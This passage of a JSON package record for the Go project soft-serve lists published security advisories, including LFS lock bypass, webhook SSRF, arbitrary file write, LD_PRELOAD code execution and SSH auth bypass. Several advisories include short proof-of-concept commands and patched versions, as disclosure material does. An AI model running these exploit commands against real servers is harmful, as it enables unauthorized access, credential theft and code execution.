Basic \u003cuser_b_token\u003e\" \\\n     -H \"Content-Type: application/vnd.git-lfs+json\" \\\n     -d '{\"force\": true}'\n   ```\n\n3. **Result:** Lock deleted successfully with `200 OK`. Expected: `403 Forbidden`.\n\n### Suggested Fix\n\nRetrieve user context and validate authorization before processing the force flag:\n\n```go\nuser := proto.UserFromContext(ctx)\nif user == nil {\n    renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{\n        Message: \"unauthorized\",\n    })\n    return\n}\n\nif req.Force {\n    if !user.IsAdmin() {\n        renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{\n            Message: \"admin access required for force delete\",\n        })\n        return\n    }\n    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {\n        // ...\n    }\n    renderJSON(w, http.StatusOK, l)\n    return\n}\n```\n\n### Impact\n\n**Affected Deployments:** Soft Serve instances with LFS enabled and repositories with multiple collaborators.\n\n**Exploitation Requirements:**\n- Authenticated session\n- Write access to target repository\n\n**Consequences:**\n- Unauthorized deletion of other users' locks\n- Bypass of LFS file coordination mechanisms\n- Potential workflow disruption in collaborative environments\n\n**Limitations:** Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-01-08T21:01:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-6jm8-x3g6-r33j","https://github.com/charmbracelet/soft-serve/commit/000ab5164f0be68cf1ea6b6e7227f11c0e388a42","https://nvd.nist.gov/vuln/detail/CVE-2026-22253","https://github.com/advisories/GHSA-6jm8-x3g6-r33j"],"source_kind":"github","identifiers":["GHSA-6jm8-x3g6-r33j","CVE-2026-22253"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-08T22:00:13.078Z","updated_at":"2026-09-25T12:06:30.727Z","epss_percentage":0.00308,"epss_percentile":0.20943,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02am04LXgzZzYtcjMzas4ABQ3c","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02am04LXgzZzYtcjMzas4ABQ3c","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.11.2","vulnerable_version_range":"\u003c 0.11.2"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02am04LXgzZzYtcjMzas4ABQ3c/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12d3EyLWp4OXEtOWg5Zs4ABOXi","url":"https://github.com/advisories/GHSA-vwq2-jx9q-9h9f","title":"Soft Serve is vulnerable to SSRF through its Webhooks","description":"SUMMARY\n\nWe have identified and verified an SSRF vulnerability where webhook URLs are not validated, allowing repository administrators to create webhooks targeting internal services, private networks, and cloud metadata endpoints.\n\n\nAFFECTED COMPONENTS (VERIFIED)\n\n1. Webhook Creation (pkg/ssh/cmd/webhooks.go:125)\n2. Backend CreateWebhook (pkg/backend/webhooks.go:17)\n3. Backend UpdateWebhook (pkg/backend/webhooks.go:122)\n4. Webhook Delivery (pkg/webhook/webhook.go:97)\n\nIMPACT\n\nThis vulnerability allows repository administrators to perform SSRF attacks, potentially enabling:\n\na) Cloud Metadata Theft - Access AWS/Azure/GCP credentials via 169.254.169.254\nb) Internal Network Access - Target localhost and private networks (10.x, 192.168.x, 172.16.x)\nc) Port Scanning - Enumerate internal services via response codes and timing\nd) Data Exfiltration - Full HTTP responses stored in webhook delivery logs\ne) Internal API Access - Call internal admin panels and Kubernetes endpoints\n\nPROOF OF CONCEPT\n\nSimple example demonstrating localhost access:\n\n```sh\nssh localhost webhook create my-repo http://127.0.0.1:8080/internal \\\n    --events push --active\n```\n\nthen push to trigger.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-11-10T21:34:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-vwq2-jx9q-9h9f","https://github.com/charmbracelet/soft-serve/commit/bb73b9a0eea0d902da4811420535842a4f9aae3b","https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.1","https://nvd.nist.gov/vuln/detail/CVE-2025-64522","https://github.com/advisories/GHSA-vwq2-jx9q-9h9f"],"source_kind":"github","identifiers":["GHSA-vwq2-jx9q-9h9f","CVE-2025-64522"],"repository_url":"https://github.com/charmbracelet/soft-serve","blast_radius":0.0,"created_at":"2025-11-10T22:00:08.348Z","updated_at":"2026-10-03T14:05:28.332Z","epss_percentage":0.00343,"epss_percentile":0.25506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d3EyLWp4OXEtOWg5Zs4ABOXi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12d3EyLWp4OXEtOWg5Zs4ABOXi","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.11.1","vulnerable_version_range":"\u003c 0.11.1"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d3EyLWp4OXEtOWg5Zs4ABOXi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mdjJyLXI4bXAtcGc0OM4ABOTF","url":"https://github.com/advisories/GHSA-fv2r-r8mp-pg48","title":"Soft Serve does not sanitize ANSI escape sequences in user input","description":"### Impact\nIn several places where the user can insert data (e.g. names), ANSI escape sequences are not being removed, which can then be used, for example, to show fake alerts.\n\nIn the same token, git messages, when printed, are also not being sanitized.\n\nPlaces in which this was found:\n\n1. Repository Description (pkg/backend/repo.go - SetDescription)\n2. Repository Project Name (pkg/backend/repo.go - SetProjectName)\n3. Git Commit Author Names (pkg/ssh/cmd/commit.go:69)\n4. Git Commit Messages (pkg/ssh/cmd/commit.go:71)\n5. Access Token Names (pkg/ssh/cmd/token.go:107)\n6. Webhook URLs (pkg/ssh/cmd/webhooks.go:72)\n\n### Patches\nv0.11.0\n\n### Workarounds\nNo.\n\n### References\nn/a","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-11-06T23:48:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-fv2r-r8mp-pg48","https://github.com/charmbracelet/soft-serve/commit/d9639320b8d0ccd76fe6836a042c042b0ebde549","https://nvd.nist.gov/vuln/detail/CVE-2025-64494","https://github.com/advisories/GHSA-fv2r-r8mp-pg48"],"source_kind":"github","identifiers":["GHSA-fv2r-r8mp-pg48","CVE-2025-64494"],"repository_url":"https://github.com/charmbracelet/soft-serve","blast_radius":0.0,"created_at":"2025-11-07T00:00:13.572Z","updated_at":"2026-09-28T20:06:21.119Z","epss_percentage":0.00178,"epss_percentile":0.06546,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mdjJyLXI4bXAtcGc0OM4ABOTF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mdjJyLXI4bXAtcGc0OM4ABOTF","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.11.0","vulnerable_version_range":"\u003c= 0.10.0"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mdjJyLXI4bXAtcGc0OM4ABOTF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zM3ByLW05NzctNXc5N84ABLmO","url":"https://github.com/advisories/GHSA-33pr-m977-5w97","title":"Soft Serve vulnerable to arbitrary file writing through SSH API","description":"Attackers can create/override arbitrary files with uncontrolled data.\n\nFor a PoC, spin up an instance of soft-serve as explained in the README, and execute the following command:\n\n```sh\nssh -p23231 localhost repo commit icecream -- --output=/tmp/pwned\n```\n\nIt should have created a file in `/tmp/pwned`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-09-02T19:43:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-33pr-m977-5w97","https://nvd.nist.gov/vuln/detail/CVE-2025-58355","https://github.com/advisories/GHSA-33pr-m977-5w97"],"source_kind":"github","identifiers":["GHSA-33pr-m977-5w97","CVE-2025-58355"],"repository_url":"https://github.com/charmbracelet/soft-serve","blast_radius":0.0,"created_at":"2025-09-02T20:09:33.206Z","updated_at":"2026-09-25T12:07:25.622Z","epss_percentage":0.00348,"epss_percentile":0.25585,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zM3ByLW05NzctNXc5N84ABLmO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zM3ByLW05NzctNXc5N84ABLmO","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.10.0","vulnerable_version_range":"\u003c 0.10.0"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zM3ByLW05NzctNXc5N84ABLmO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNGp3LW02eHItZnY2Y84ABDGD","url":"https://github.com/advisories/GHSA-j4jw-m6xr-fv6c","title":"Soft Serve vulnerable to path traversal attacks","description":"### Impact\n\nPath traversal attack gives access to existing non-admin users to access and take over other user's repositories. A malicious user then can modify, delete, and arbitrarily repositories as if they were an admin user without explicitly giving them permissions.\n\n### Patches\n\nThis is patched in [v0.8.2](https://github.com/charmbracelet/soft-serve/releases/tag/v0.8.2)\n\n### Workarounds\n\nSingle user set-ups are not affected. This only affects multi-user Soft Serve set-ups that enable repository creation for users. Otherwise, upgrading is necessary to circumvent the attack.\n\n\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-08T15:43:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-j4jw-m6xr-fv6c","https://github.com/charmbracelet/soft-serve/commit/a8d1bf3f9349c138383b65079b7b8ad97fff78f4","https://github.com/charmbracelet/soft-serve/releases/tag/v0.8.2","https://nvd.nist.gov/vuln/detail/CVE-2025-22130","https://github.com/advisories/GHSA-j4jw-m6xr-fv6c"],"source_kind":"github","identifiers":["GHSA-j4jw-m6xr-fv6c","CVE-2025-22130"],"repository_url":"https://github.com/charmbracelet/soft-serve","blast_radius":0.0,"created_at":"2025-01-08T16:09:07.487Z","updated_at":"2026-10-03T14:07:14.279Z","epss_percentage":0.00678,"epss_percentile":0.50501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNGp3LW02eHItZnY2Y84ABDGD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNGp3LW02eHItZnY2Y84ABDGD","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.8.2","vulnerable_version_range":"\u003c 0.8.2"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNGp3LW02eHItZnY2Y84ABDGD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNDQ1LXczeHItdnAyZs4AA-WG","url":"https://github.com/advisories/GHSA-m445-w3xr-vp2f","title":"soft-serve vulnerable to arbitrary code execution by crafting git-lfs requests","description":"### Impact\nAny servers using soft-serve server and git\n\n### Patches\n\u003e0.7.5\n\n### Workarounds\nNone.\n\n### References\nn/a.\n\n---\n\nIt is possible for a user who can commit files to a repository hosted by Soft Serve to execute arbitrary code via environment manipulation and Git.\n\nThe issue is that Soft Serve passes all environment variables given by the client to git subprocesses. This includes environment variables that control program execution, such as `LD_PRELOAD`.\n\nThis can be exploited to execute arbitrary code by, for example, uploading a malicious shared object file to Soft Serve via Git LFS (uploading it via LFS ensures that it is not compressed on disk and easier to work with). The file will be stored under its SHA256 hash, so it has a predictable name.\n\nThis file can then be referenced in `LD_PRELOAD` via a Soft Serve SSH session that causes git to be invoked. For example:\n\n```bash\nLD_PRELOAD=/.../data/lfs/1/objects/a2/b5/a2b585befededf5f95363d06d83655229e393b1b45f76d9f989a336668665a2f ssh server git-upload-pack repo\n```\n\nThe example LFS file patches a shared library function called by git to execute a shell.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-08-02T12:51:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-m445-w3xr-vp2f","https://nvd.nist.gov/vuln/detail/CVE-2024-41956","https://github.com/charmbracelet/soft-serve/commit/4daebdd422a6ba8c04162d023f8be355a8fe3184","https://pkg.go.dev/vuln/GO-2024-3019","https://github.com/advisories/GHSA-m445-w3xr-vp2f"],"source_kind":"github","identifiers":["GHSA-m445-w3xr-vp2f","CVE-2024-41956"],"repository_url":"https://github.com/charmbracelet/soft-serve","blast_radius":0.0,"created_at":"2024-08-02T13:05:39.362Z","updated_at":"2026-09-25T12:10:05.644Z","epss_percentage":0.00509,"epss_percentile":0.40887,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDQ1LXczeHItdnAyZs4AA-WG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNDQ1LXczeHItdnAyZs4AA-WG","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.7.5","vulnerable_version_range":"\u003c 0.7.5"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDQ1LXczeHItdnAyZs4AA-WG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tYzk3LTk5ajQtdm0yds4AA2MF","url":"https://github.com/advisories/GHSA-mc97-99j4-vm2v","title":"Soft Serve Public Key Authentication Bypass Vulnerability when Keyboard-Interactive SSH Authentication is Enabled","description":"### Impact\n\nA security vulnerability in Soft Serve could allow an unauthenticated, remote attacker to bypass public key authentication when keyboard-interactive SSH authentication is active, through the `allow-keyless` setting, and the public key requires additional client-side verification for example using FIDO2 or GPG. This is due to insufficient validation procedures of the public key step during SSH request handshake, granting unauthorized access if the keyboard-interaction mode is utilized. An attacker could exploit this vulnerability by presenting manipulated SSH requests using keyboard-interactive authentication mode. This could potentially result in unauthorized access to the Soft Serve.\n\n### Patches\n\nUsers should upgrade to the latest Soft Serve version `v0.6.2` to receive the patch for this issue. \n\n### Workarounds\n\nTo workaround this vulnerability without upgrading, users can _temporarily_ disable Keyboard-Interactive SSH Authentication using the `allow-keyless` setting.\n\n### References\n\nhttps://github.com/charmbracelet/soft-serve/issues/389","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-10-02T23:30:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-mc97-99j4-vm2v","https://github.com/charmbracelet/soft-serve/issues/389","https://github.com/charmbracelet/soft-serve/commit/407c4ec72d1006cee1ff8c1775e5bcc091c2bc89","https://github.com/charmbracelet/soft-serve/releases/tag/v0.6.2","https://nvd.nist.gov/vuln/detail/CVE-2023-43809","https://github.com/advisories/GHSA-mc97-99j4-vm2v"],"source_kind":"github","identifiers":["GHSA-mc97-99j4-vm2v","CVE-2023-43809"],"repository_url":"https://github.com/charmbracelet/soft-serve","blast_radius":0.0,"created_at":"2023-10-03T00:05:59.264Z","updated_at":"2026-10-04T06:10:43.984Z","epss_percentage":0.01206,"epss_percentile":0.6728,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tYzk3LTk5ajQtdm0yds4AA2MF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tYzk3LTk5ajQtdm0yds4AA2MF","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.6.2","vulnerable_version_range":"\u003c 0.6.2"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tYzk3LTk5ajQtdm0yds4AA2MF/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/charmbracelet/soft-serve","docker_dependents_count":2,"docker_downloads_count":83,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/charmbracelet/soft-serve","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/charmbracelet/soft-serve/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-24T00:18:45.974Z","issues_count":120,"pull_requests_count":456,"avg_time_to_close_issue":5574641.354166667,"avg_time_to_close_pull_request":1652796.2846153846,"issues_closed_count":48,"pull_requests_closed_count":390,"pull_request_authors_count":43,"issue_authors_count":103,"avg_comments_per_issue":1.475,"avg_comments_per_pull_request":0.6403508771929824,"merged_pull_requests_count":292,"bot_issues_count":0,"bot_pull_requests_count":312,"past_year_issues_count":9,"past_year_pull_requests_count":34,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":4011573.6666666665,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":12,"past_year_pull_request_authors_count":14,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":1.6666666666666667,"past_year_avg_comments_per_pull_request":0.20588235294117646,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":12,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/issues","maintainers":[{"login":"aymanbagabas","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aymanbagabas"},{"login":"caarlos0","count":21,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/caarlos0"},{"login":"taciturnaxolotl","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/taciturnaxolotl"},{"login":"bashbunni","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bashbunni"},{"login":"toby","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/toby"},{"login":"maaslalani","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/maaslalani"}],"active_maintainers":[{"login":"taciturnaxolotl","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/taciturnaxolotl"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcharmbracelet%2Fsoft-serve/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcharmbracelet%2Fsoft-serve/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcharmbracelet%2Fsoft-serve/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcharmbracelet%2Fsoft-serve/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcharmbracelet%2Fsoft-serve/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcharmbracelet%2Fsoft-serve/codemeta","maintainers":[]}